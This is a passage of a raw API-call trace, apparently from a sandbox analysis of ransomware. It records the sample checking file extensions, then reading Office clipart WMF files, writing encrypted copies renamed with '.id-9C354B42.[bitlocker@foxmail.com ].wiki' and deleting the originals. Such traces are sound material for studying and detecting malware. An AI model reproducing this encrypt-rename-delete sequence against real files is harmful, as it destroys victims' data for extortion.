lstrlenW (lpString=".docx") returned 5 [0061.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.426] lstrlenW (lpString=".pdf") returned 4 [0061.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.426] lstrlenW (lpString=".xls") returned 4 [0061.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.426] lstrlenW (lpString=".xlsx") returned 5 [0061.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.426] lstrlenW (lpString=".ppt") returned 4 [0061.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0061.426] lstrlenW (lpString=".zip") returned 4 [0061.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.426] lstrlenW (lpString=".rar") returned 4 [0061.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.426] lstrlenW (lpString=".bz2") returned 4 [0061.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.426] lstrlenW (lpString=".7z") returned 3 [0061.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0061.426] lstrlenW (lpString=".dbf") returned 4 [0061.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0061.426] lstrlenW (lpString=".1cd") returned 4 [0061.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0061.426] lstrlenW (lpString=".jpg") returned 4 [0061.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0061.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0061.426] lstrlenW (lpString=".doc") returned 4 [0061.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.426] lstrlenW (lpString=".docx") returned 5 [0061.427] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.427] lstrlenW (lpString=".pdf") returned 4 [0061.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.427] lstrlenW (lpString=".xls") returned 4 [0061.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.427] lstrlenW (lpString=".xlsx") returned 5 [0061.427] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.427] lstrlenW (lpString=".ppt") returned 4 [0061.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0061.427] lstrlenW (lpString=".zip") returned 4 [0061.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.427] lstrlenW (lpString=".rar") returned 4 [0061.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.427] lstrlenW (lpString=".bz2") returned 4 [0061.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.427] lstrlenW (lpString=".7z") returned 3 [0061.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0061.427] lstrlenW (lpString=".dbf") returned 4 [0061.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0061.427] lstrlenW (lpString=".1cd") returned 4 [0061.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0061.427] lstrlenW (lpString=".jpg") returned 4 [0061.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.427] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.427] lstrlenW (lpString="AN04332_.WMF") returned 12 [0061.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.059] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=4296) returned 1 [0063.059] CloseHandle (hObject=0x1e8) returned 1 [0063.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20 [0063.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.059] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.059] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0063.060] GetLastError () returned 0x0 [0063.060] ReadFile (in: hFile=0x1e8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x10c8, lpOverlapped=0x0) returned 1 [0063.071] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x10d0, lpOverlapped=0x0) returned 1 [0063.072] ReadFile (in: hFile=0x1e8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.072] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.072] SetEndOfFile (hFile=0x230) returned 1 [0063.072] CloseHandle (hObject=0x230) returned 1 [0063.072] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.072] SetEndOfFile (hFile=0x1e8) returned 1 [0063.073] CloseHandle (hObject=0x1e8) returned 1 [0063.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0063.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0063.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0063.073] lstrlenW (lpString=".doc") returned 4 [0063.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.074] lstrlenW (lpString=".docx") returned 5 [0063.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.074] lstrlenW (lpString=".pdf") returned 4 [0063.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.074] lstrlenW (lpString=".xls") returned 4 [0063.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.074] lstrlenW (lpString=".xlsx") returned 5 [0063.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.074] lstrlenW (lpString=".ppt") returned 4 [0063.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0063.074] lstrlenW (lpString=".zip") returned 4 [0063.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.074] lstrlenW (lpString=".rar") returned 4 [0063.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.074] lstrlenW (lpString=".bz2") returned 4 [0063.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.074] lstrlenW (lpString=".7z") returned 3 [0063.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0063.074] lstrlenW (lpString=".dbf") returned 4 [0063.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0063.074] lstrlenW (lpString=".1cd") returned 4 [0063.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0063.074] lstrlenW (lpString=".jpg") returned 4 [0063.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0063.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0063.074] lstrlenW (lpString=".doc") returned 4 [0063.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.074] lstrlenW (lpString=".docx") returned 5 [0063.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.075] lstrlenW (lpString=".pdf") returned 4 [0063.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.075] lstrlenW (lpString=".xls") returned 4 [0063.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.075] lstrlenW (lpString=".xlsx") returned 5 [0063.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.075] lstrlenW (lpString=".ppt") returned 4 [0063.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0063.075] lstrlenW (lpString=".zip") returned 4 [0063.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.075] lstrlenW (lpString=".rar") returned 4 [0063.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.075] lstrlenW (lpString=".bz2") returned 4 [0063.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.075] lstrlenW (lpString=".7z") returned 3 [0063.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0063.075] lstrlenW (lpString=".dbf") returned 4 [0063.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0063.075] lstrlenW (lpString=".1cd") returned 4 [0063.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0063.075] lstrlenW (lpString=".jpg") returned 4 [0063.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.075] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.075] lstrlenW (lpString="AN04385_.WMF") returned 12 [0063.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.076] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=5004) returned 1 [0063.076] CloseHandle (hObject=0x1e8) returned 1 [0063.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0063.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.076] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.076] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0063.077] GetLastError () returned 0x0 [0063.077] ReadFile (in: hFile=0x1e8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x138c, lpOverlapped=0x0) returned 1 [0063.080] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0063.081] ReadFile (in: hFile=0x1e8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.081] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.081] SetEndOfFile (hFile=0x230) returned 1 [0063.081] CloseHandle (hObject=0x230) returned 1 [0063.081] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.081] SetEndOfFile (hFile=0x1e8) returned 1 [0063.082] CloseHandle (hObject=0x1e8) returned 1 [0063.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0063.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0063.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0063.083] lstrlenW (lpString=".doc") returned 4 [0063.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.083] lstrlenW (lpString=".docx") returned 5 [0063.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.083] lstrlenW (lpString=".pdf") returned 4 [0063.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.083] lstrlenW (lpString=".xls") returned 4 [0063.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.083] lstrlenW (lpString=".xlsx") returned 5 [0063.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.083] lstrlenW (lpString=".ppt") returned 4 [0063.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0063.083] lstrlenW (lpString=".zip") returned 4 [0063.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.083] lstrlenW (lpString=".rar") returned 4 [0063.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.083] lstrlenW (lpString=".bz2") returned 4 [0063.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.083] lstrlenW (lpString=".7z") returned 3 [0063.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0063.083] lstrlenW (lpString=".dbf") returned 4 [0063.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0063.083] lstrlenW (lpString=".1cd") returned 4 [0063.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0063.083] lstrlenW (lpString=".jpg") returned 4 [0063.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0063.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0063.084] lstrlenW (lpString=".doc") returned 4 [0063.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.084] lstrlenW (lpString=".docx") returned 5 [0063.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.084] lstrlenW (lpString=".pdf") returned 4 [0063.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.084] lstrlenW (lpString=".xls") returned 4 [0063.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.084] lstrlenW (lpString=".xlsx") returned 5 [0063.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.084] lstrlenW (lpString=".ppt") returned 4 [0063.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0063.084] lstrlenW (lpString=".zip") returned 4 [0063.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.084] lstrlenW (lpString=".rar") returned 4 [0063.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.084] lstrlenW (lpString=".bz2") returned 4 [0063.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.084] lstrlenW (lpString=".7z") returned 3 [0063.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0063.084] lstrlenW (lpString=".dbf") returned 4 [0063.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0063.084] lstrlenW (lpString=".1cd") returned 4 [0063.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0063.084] lstrlenW (lpString=".jpg") returned 4 [0063.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.084] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0063.085] lstrlenW (lpString="BD00116_.WMF") returned 12 [0063.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.086] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=4870) returned 1 [0063.086] CloseHandle (hObject=0x1e8) returned 1 [0063.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x20 [0063.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0063.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.086] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.086] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0063.086] GetLastError () returned 0x0 [0063.086] ReadFile (in: hFile=0x1e8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x1306, lpOverlapped=0x0) returned 1 [0063.088] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1310, lpOverlapped=0x0) returned 1 [0063.089] ReadFile (in: hFile=0x1e8, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.089] WriteFile (in: hFile=0x230, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.089] SetEndOfFile (hFile=0x230) returned 1 [0063.090] CloseHandle (hObject=0x230) returned 1 [0063.090] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.090] SetEndOfFile (hFile=0x1e8) returned 1 [0063.090] CloseHandle (hObject=0x1e8) returned 1 [0063.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0063.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0063.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0063.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0063.091] lstrlenW (lpString=".doc") returned 4 [0063.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.091] lstrlenW (lpString=".docx") returned 5 [0063.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.091] lstrlenW (lpString=".pdf") returned 4 [0063.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.091] lstrlenW (lpString=".xls") returned 4 [0063.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.091] lstrlenW (lpString=".xlsx") returned 5 [0063.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.091] lstrlenW (lpString=".ppt") returned 4 [0063.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.091] lstrlenW 